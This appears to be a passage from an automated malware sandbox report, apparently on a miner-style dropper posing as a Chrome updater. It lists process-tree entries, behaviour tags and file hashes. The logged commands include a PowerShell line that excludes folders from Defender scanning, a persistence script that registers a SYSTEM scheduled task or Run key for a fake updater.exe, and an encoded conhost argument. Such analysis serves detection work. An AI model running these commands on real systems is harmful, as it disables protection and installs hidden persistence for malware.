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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1472
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1264
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4444
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:3272
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4440 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:3564
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1996
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:1072
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
384KB
MD57a1989e9c814f3c5ad4ff29202c4dff6
SHA1a1e509a241fdd01b97128a4973f1a94fd94fc872
SHA25672c6599938e61e17afa6a13744af63258c464536fc30f5a0fb88f6a579eb1874
SHA512b30c0ecc1a5719c2d12cde10e8f876fc73933800c31fc4f9c71c277168b2395a512c6094fc285180163d42aa9a154f50426f64e4ae0b5c9e1c0596fef2f63212
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Filesize
223KB
MD5621c58e4fb8b113b368a2259848b8171
SHA13203a1c789682c45ce71900adb92cd1414aab608
SHA2560cd032b257a0feaf6d3fa469823158af280c5396d748798f42d65f69b69c8a92
SHA512106d64b24b69602375e3701987c1caab99cd14825f49f376819599df8d3e63494b7207d5eeb4a7be83f7a374035e0b297d3a4c6ba032cd758d9e02b59db56b8c
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
1KB
MD5b7436173901db2a61c67bc8ae5dd8dbf
SHA174b52630fd8698405fd414a57edd67a87869d750
SHA25616a8fa36abcd7a2384d9bc91a17657cad0a7c9ff176a6e8f49e94afdf8818f33
SHA512f636c1f2ecdc08151388bdc55bf03557e26c4b17b0e4dc27a49faebf61a996ac084485ef6e08ba24f214e8388eff03ae1cd5960b1ff160d37c76c3f38dcd270e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5